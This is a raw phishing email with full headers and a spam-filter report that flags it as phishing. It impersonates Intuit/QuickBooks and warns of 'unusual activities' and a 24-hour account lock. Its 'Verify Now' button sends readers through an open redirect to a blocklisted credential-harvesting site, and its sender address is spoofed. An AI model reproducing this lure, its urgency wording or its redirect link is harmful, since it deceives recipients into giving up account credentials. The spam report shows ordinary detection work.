Return-Path: <info@behniwalgroup.com>
Delivered-To: behniwal+spam@server.rnv.kpw.mybluehostin.me
Received: from server.rnv.kpw.mybluehostin.me
	by server.rnv.kpw.mybluehostin.me with LMTP
	id 3Mi6Ktw96mm6RwAAyTkJsw
	(envelope-from <info@behniwalgroup.com>)
	for <behniwal+spam@server.rnv.kpw.mybluehostin.me>; Thu, 23 Apr 2026 09:42:20 -0600
Return-path: <info@behniwalgroup.com>
Envelope-to: info@behniwalgroup.com
Delivery-date: Thu, 23 Apr 2026 09:42:20 -0600
Received: from [85.158.110.30] (port=41523 helo=rdns0.intuit.com)
	by server.rnv.kpw.mybluehostin.me with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.95)
	(envelope-from <info@behniwalgroup.com>)
	id 1wFwC2-0004kl-2B
	for info@behniwalgroup.com;
	Thu, 23 Apr 2026 09:42:20 -0600
From: "Intuit" <info@behniwalgroup.com>
To: <info@behniwalgroup.com>
Content-Type: multipart/alternative; boundary="19YGZ0ZYEcPoZ=_x6LnL8UIfEm2Nwgtdv0"
MIME-Version: 1.0
Date: Thu, 23 Apr 2026 10:42:23 -0500
Message-Id: <20262304104223859D08C81D$6653139970@behniwalgroup.com>
X-Spam-Status: Yes, score=10.1
X-Spam-Score: 101
X-Spam-Bar: ++++++++++
X-Spam-Report: Spam detection software, running on the system "server.rnv.kpw.mybluehostin.me",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:    96 <!-- 
 Content analysis details:   (10.1 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: unlayer.com]
  0.6 URIBL_SBL              Contains an URL's NS IP listed in the Spamhaus SBL
                             blocklist
                             [URIs: smoothcpa.com]
  0.0 URIBL_PH_SURBL         Contains an URL listed in the PH SURBL blocklist
                             [URIs: smoothcpa.com]
  1.9 URIBL_ABUSE_SURBL      Contains an URL listed in the ABUSE SURBL
                             blocklist
                             [URIs: smoothcpa.com]
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  0.0 HTML_MESSAGE           BODY: HTML included in message
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  0.0 KAM_SHORT              Use of a URL Shortener for very short URL
  0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted
                             Colors in HTML
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  0.0 TO_EQ_FM_DIRECT_MX     To == From and direct-to-MX
  4.0 URI_PHISH              Phishing using web form
X-Spam-Flag: YES
Subject:    Quickbooks: Our system has detected unusual activities

This is a multi-part message in MIME format

--19YGZ0ZYEcPoZ=_x6LnL8UIfEm2Nwgtdv0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


=A0

 96


<!--





<!--






Our system has detected unusual activities on your Intuit account.

=A0

=A0

For your security, your account is scheduled to be locked within 24 ho=
urs unless it is validated and upgraded immediately.



 Verify Now https://sayi.do/leave?url=3Dhttps://smoothcpa.com/hristen/=




<!--

--19YGZ0ZYEcPoZ=_x6LnL8UIfEm2Nwgtdv0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


<p>&nbsp;</p> <!-- [if gte mso 9]> <xml> <o:OfficeDocumentSettings> <o=
:AllowPNG/> <o:PixelsPerInch>96</o:PixelsPerInch> </o:OfficeDocumentSe=
ttings> </xml> <![endif]--> <p></p> <!-- [if !mso]><!--> <p></p> <!--<=
![endif]--> <p></p> <!-- [if IE]><div class=3D"ie-container"><![endif]=
--> <p></p> <!-- [if mso]><div class=3D"mso-container"><![endif]--><ta=
ble id=3D"u_body" style=3D"border-collapse: collapse; table-layout: fi=
xed; border-spacing: 0; mso-table-lspace: 0pt; mso-table-rspace: 0pt; =
vertical-align: top; min-width: 320px; margin: 0 auto; background-colo=
r: #f9f9f9; width: 100%;" role=3D"presentation" cellspacing=3D"0" cell=
padding=3D"0"><tbody><tr style=3D"vertical-align: top;"> <td style=3D"=
word-break: break-word; border-collapse: collapse !important; vertical=
-align: top;"><!-- [if (mso)|(IE)]><table role=3D"presentation" width=3D=
"100%" cellpadding=3D"0" cellspacing=3D"0" border=3D"0"><tr><td align=3D=
"center" style=3D"background-color: #F9F9F9;"><![endif]--> <div class=3D=
"u-row-container" style=3D"padding: 0px; background-color: transparent=
;"> <div class=3D"u-row" style=3D"margin: 0 auto; min-width: 320px; ma=
x-width: 500px; overflow-wrap: break-word; word-wrap: break-word; word=
-break: break-word; background-color: transparent;"> <div style=3D"bor=
der-collapse: collapse; display: table; width: 100%; height: 100%; bac=
kground-color: transparent;"><!-- [if (mso)|(IE)]><table role=3D"prese=
ntation" width=3D"100%" cellpadding=3D"0" cellspacing=3D"0" border=3D"=
0"><tr><td style=3D"padding: 0px;background-color: transparent;" align=
=3D"center"><table role=3D"presentation" cellpadding=3D"0" cellspacing=
=3D"0" border=3D"0" style=3D"width:500px;"><tr style=3D"background-col=
or: transparent;"><![endif]--> <!-- [if (mso)|(IE)]><td align=3D"cente=
r" width=3D"500" style=3D"width: 500px;padding: 0px;border-top: 0px so=
lid transparent;border-left: 0px solid transparent;border-right: 0px s=
olid transparent;border-bottom: 0px solid transparent;" valign=3D"top"=
><![endif]--> <div class=3D"u-col u-col-100" style=3D"max-width: 320px=
; min-width: 500px; display: table-cell; vertical-align: top;"> <div s=
tyle=3D"height: 100%; width: 100% !important;"><!-- [if (!mso)&(!IE)]>=
<!--> <div style=3D"box-sizing: border-box; height: 100%; padding: 0px=
; border: 0px solid transparent;"><!--<![endif]--><table style=3D"font=
-family: arial,helvetica,sans-serif;" role=3D"presentation" border=3D"=
0" width=3D"100%" cellspacing=3D"0" cellpadding=3D"0"><tbody><tr><td s=
tyle=3D"overflow-wrap: break-word; word-break: break-word; padding: 10=
px; font-family: arial,helvetica,sans-serif;" align=3D"left"><table ro=
le=3D"presentation" border=3D"0" width=3D"100%" cellspacing=3D"0" cell=
padding=3D"0"><tbody><tr><td style=3D"padding-right: 0px; padding-left=
: 0px;" align=3D"left"><img style=3D"outline: none; text-decoration: n=
one; -ms-interpolation-mode: bicubic; clear: both; display: inline-blo=
ck !important; border: none; height: auto; float: none; width: 27%; ma=
x-width: 129.6px;" title=3D"" src=3D"https://assets.unlayer.com/projec=
ts/273992/1757600678347-images%20(7).png?w=3D259.2px"  width=3D"129.6"=
 align=3D"left" border=3D"0" /></td> </tr> </tbody> </table> </td> </t=
r> </tbody> </table><table style=3D"font-family: arial,helvetica,sans-=
serif;" role=3D"presentation" border=3D"0" width=3D"100%" cellspacing=3D=
"0" cellpadding=3D"0"><tbody><tr><td style=3D"overflow-wrap: break-wor=
d; word-break: break-word; padding: 10px; font-family: arial,helvetica=
,sans-serif;" align=3D"left"> <div style=3D"font-size: 14px; line-heig=
ht: 140%; text-align: left; word-wrap: break-word;"> <p>Our system has=
 detected unusual activities on your Intuit account.</p><p>&nbsp;</p><=
p>&nbsp;</p><p dir=3D"ltr">For your security, your account is schedule=
d to be locked within 24 hours unless it is validated and upgraded imm=
ediately.</p> </div> </td> </tr> </tbody> </table><table style=3D"font=
-family: arial,helvetica,sans-serif;" role=3D"presentation" border=3D"=
0" width=3D"100%" cellspacing=3D"0" cellpadding=3D"0"><tbody><tr><td s=
tyle=3D"overflow-wrap: break-word; word-break: break-word; padding: 10=
px; font-family: arial,helvetica,sans-serif;" align=3D"left"><!-- [if =
mso]><style>.v-button {background: transparent !important;}</style><![=
endif]--> <div align=3D"center"><!-- [if mso]><v:roundrect xmlns:v=3D"=
urn:schemas-microsoft-com:vml" xmlns:w=3D"urn:schemas-microsoft-com:of=
fice:word" href=3D"https://www.google.com/" style=3D"height:37px; v-te=
xt-anchor:middle; width:107px;" arcsize=3D"11%" stroke=3D"f" fillcolor=
=3D"#0eb650"><w:anchorlock/><center style=3D"color:#FFFFFF;"><![endif]=
--> <span style=3D"text-decoration: underline; font-size: 14px;"><stro=
ng><a class=3D"v-button" style=3D"box-sizing: border-box; display: inl=
ine-block; text-decoration: underline; text-size-adjust: none; text-al=
ign: center; color: #ffffff; background-color: #0eb650; border-radius:=
 4px; width: auto; max-width: 100%; word-break: break-word; overflow-w=
rap: break-word;" href=3D"https://sayi.do/leave?url=3Dhttps://smoothcp=
a.com/hristen/" target=3D"_blank" rel=3D"noopener"> <span style=3D"dis=
play: block; padding: 10px 20px; line-height: 120%;"><span style=3D"li=
ne-height: 16.8px;">Verify Now</span></span> </a></strong></span> <!--=
 [if mso]></center></v:roundrect><![endif]--></div> </td> </tr> </tbod=
y> </table> <!-- [if (!mso)&(!IE)]><!--></div> <!--<![endif]--></div> =
</div> <!-- [if (mso)|(IE)]></td><![endif]--> <!-- [if (mso)|(IE)]></t=
r></table></td></tr></table><![endif]--></div> </div> </div> <!-- [if =
(mso)|(IE)]></td></tr></table><![endif]--></td> </tr> </tbody> </table=
> <!-- [if mso]></div><![endif]--> <p></p> <!-- [if IE]></div><![endif=
]-->

--19YGZ0ZYEcPoZ=_x6LnL8UIfEm2Nwgtdv0--